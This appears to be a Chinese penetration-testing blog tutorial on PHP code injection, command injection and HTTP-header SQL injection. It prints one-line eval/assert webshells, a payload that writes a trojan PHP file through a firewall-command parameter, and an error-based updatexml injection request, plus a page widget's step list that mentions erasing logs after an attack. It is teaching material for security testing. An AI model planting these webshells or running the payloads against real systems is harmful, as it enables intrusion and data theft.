渗透测试-SQL注入-代码与命令注入


一、代码注入

eval函数

在PHP中,使用eval(string)函数可以执行任意有效的PHP代码,比如eval(“phpinfo0;”)、eval(“echo date()”),也可以是更加复杂的代码,比如@eval($_POST[‘code’]);代码,用户提交POST请求参数如下:

code=$a=10;$b=20;print($a+$b);

code=$time1 = "2022-11-03 18:52:03";
$time2 = "2022-11-03 18:52:09";
echo (strtotime($time2)-strtotime($time1))

// 或者更加复杂的代码:
code=$conn = mysqli_connect('127.0.0.1','root','数据库密码','learn');
mysqli_set_charset($conn,'utf8');
$result = mysqli_query($conn, "select * from user");
$rows = mysqli_fetch_al1($result);
var_dump($rows);

assert函数

assert函数用于判断一个表达式是否成立,所以会先执行该表达式,进而达到判断的目的。所以assert相对于eval来说,功能要简单一些,只能执行表达式,但是依然可以达到执行代码的目的,比如针对 @assert($_POST[‘code’]);的代码,用户提交的POST请求如下:

code=phpinfo();
code=print(date("Y-m-d"));

// 除此之外,我们也可以构造让assert函数执行eval()函数的Payload:
Code=eval('$timel = "2022-11-03 18:52:03";
$time2 = "2022-11-03 18:52:09";
echo (strtotime($time2)-strtotime($time1));');

preg replace函数

针对@pre_replace(“/test/e”,$POST[‘code’],“test”);构造的Payload如下:

code = phpinfo();
code = print(date("Y-m-d"))
code = @eval('$a=10;$b=30;print($a+$b);')

create_function()函数

create_function主要用来创建匿名函数,以下展示了其代码和Payload:

$func = create_function('',$_POST['code']);
$func();

code=phpinfo();
code=$a=11;$b=30;print($a+$b);
code=eval('$a=11;$b=30;print($a+$b);');

反序列化漏洞也属于代码注入

二、命令注入

在PHP中,可以直接执行操作系统的命令,函数包括:system,exec,popen,paassthru,shell_exec等

system($_POST['code']);       #自带回显
passthru($_POST['code']);

echo exec($_POST['code']);    #echo 回显
echo shell_exec($_PoST['code']);

另外一种命令注入的方式,后台直接执行系统命令,而前端参数传入的值是命令的一部分,则也会构成命令注入漏洞。
比如后台执行命令:sudo firewall-cmd–add-port= p o r t / port/ port/protocol,而port参数是由前台用户传入的,构建的Payload如下:

80/tcp --permanent; echo "Hello world" > /opt/1ampp/htdocs/security/temp/muma.php;

三、HTTP头注

HTTP头被插入数据库,构建出了insert语句,那么头信息只要构造为:

$useragent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];
$xforward = $_SERVER['HTTP_X_FORWARDED_FOR'];
$ipaddr = $_SERVER['REMOTE_ADDR'];

$sql = "insert into header(useragent,referer,xforward,ipaddr) values('$useragent','$referer','$xforward','$ipaddr')";
$conn->query($sql);
echo mysqli_error($conn);
echo "Welcome Here";

Payload:

GET /security/misc.php HTTP/1.1
Host: 192.168.88.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://www.fjczzlly.com
X-Forwarded-For:' or updatexml(1,concat(0x7e,database(),0x7e),1) or '
Cookie: PHPSESSID=5kb639h750ekb40fpf36c1uopq
Upgrade-Insecure-Requests: 1

HTTP请求头的获取方式

$_SERVER['HTTP_ACCEPT_LANGUAGE']//浏览器语言 
$_SERVER['REMOTE_ADDR'] //当前用户 IP 。 
$_SERVER['REMOTE_HOST'] //当前用户主机名 
$_SERVER['REQUEST_URI'] //URL

$_SERVER['REMOTE_PORT'] //端口。 
$_SERVER['SERVER_NAME'] //服务器主机的名称。 
$_SERVER['PHP_SELF']//正在执行脚本的文件名 
$_SERVER['argv'] //传递给该脚本的参数。 
$_SERVER['argc'] //传递给程序的命令行参数的个数。 
$_SERVER['GATEWAY_INTERFACE']//CGI 规范的版本。 
$_SERVER['SERVER_SOFTWARE'] //服务器标识的字串 
$_SERVER['SERVER_PROTOCOL'] //请求页面时通信协议的名称和版本 
$_SERVER['REQUEST_METHOD']//访问页面时的请求方法 
$_SERVER['QUERY_STRING'] //查询(query)的字符串。 
$_SERVER['DOCUMENT_ROOT'] //当前运行脚本所在的文档根目录 
$_SERVER['HTTP_ACCEPT'] //当前请求的 Accept: 头部的内容。 
$_SERVER['HTTP_ACCEPT_CHARSET'] //当前请求的 Accept-Charset: 头部的内容。 
$_SERVER['HTTP_ACCEPT_ENCODING'] //当前请求的 Accept-Encoding: 头部的内容 
$_SERVER['HTTP_CONNECTION'] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。 
$_SERVER['HTTP_HOST'] //当前请求的 Host: 头部的内容。 
$_SERVER['HTTP_REFERER'] //链接到当前页面的前一页面的 URL 地址。 
$_SERVER['HTTP_USER_AGENT'] //当前请求的 User_Agent: 头部的内容。 
$_SERVER['HTTPS']//如果通过https访问,则被设为一个非空的值(on),否则返回off 
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。 
$_SERVER['SERVER_ADMIN'] #管理员信息 
$_SERVER['SERVER_PORT'] #服务器所使用的端口 
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。 
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。 
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。 
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。 
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。 
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型
$_SERVER['HTTP_X_FORWARDED_FOR'] #获取原 IP

任何可以导致代码执行、命令执行、数据库读写的操作,均可以被称为注入。

  • 13
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQL注入渗透测试的实施步骤如下: 1. 收集信息:首先需要收集关于目标应用程序和数据库的信息,例如应用程序的URL、数据库类型、应用程序的输入点等。这可以通过手动或自动化的方式来完成,例如使用Web应用程序扫描工具(如Burp Suite、OWASP ZAP等)或数据库扫描工具(如sqlmap、Nessus等)。 2. 确定注入点:在收集信息后,需要确定应用程序中的注入点。注入点是应用程序中的输入点,攻击者可以通过它们将恶意的SQL代码注入到应用程序中。常见的注入点包括Web表单、URL参数、HTTP头等。 3. 确认注入漏洞:在确定注入点后,需要确认是否存在SQL注入漏洞。这可以通过手动注入或使用SQL注入工具来完成。手动注入需要对注入点进行测试,并尝试构造恶意的SQL代码来验证是否存在漏洞。使用SQL注入工具可以自动化这个过程,例如使用sqlmap工具可以检测和利用大多数SQL注入漏洞。 4. 利用注入漏洞:一旦确认存在注入漏洞,攻击者可以利用它来执行恶意的SQL代码。攻击者可以使用SQL注入工具或手动编写SQL代码来执行各种操作,例如提取敏感数据、修改数据、删除数据或执行任意代码。 5. 提高权限:如果攻击者成功地利用了SQL注入漏洞,他们可以尝试提高权限并获取更高的访问权限。例如,攻击者可以通过注入恶意代码来获取管理员权限,或者通过注入代码来获取其他用户的密码。 6. 覆盖踪迹:在攻击完成后,攻击者需要删除所有的攻击痕迹,以避免被发现。这可以通过删除日志、修改数据库记录等方式来实现。 7. 编写测试报告:最后,需要编写测试报告,记录测试的过程、结果和建议的修复措施。测试报告应该是清晰、准确和详细的,以便组织能够了解测试的结果和建议的改进措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值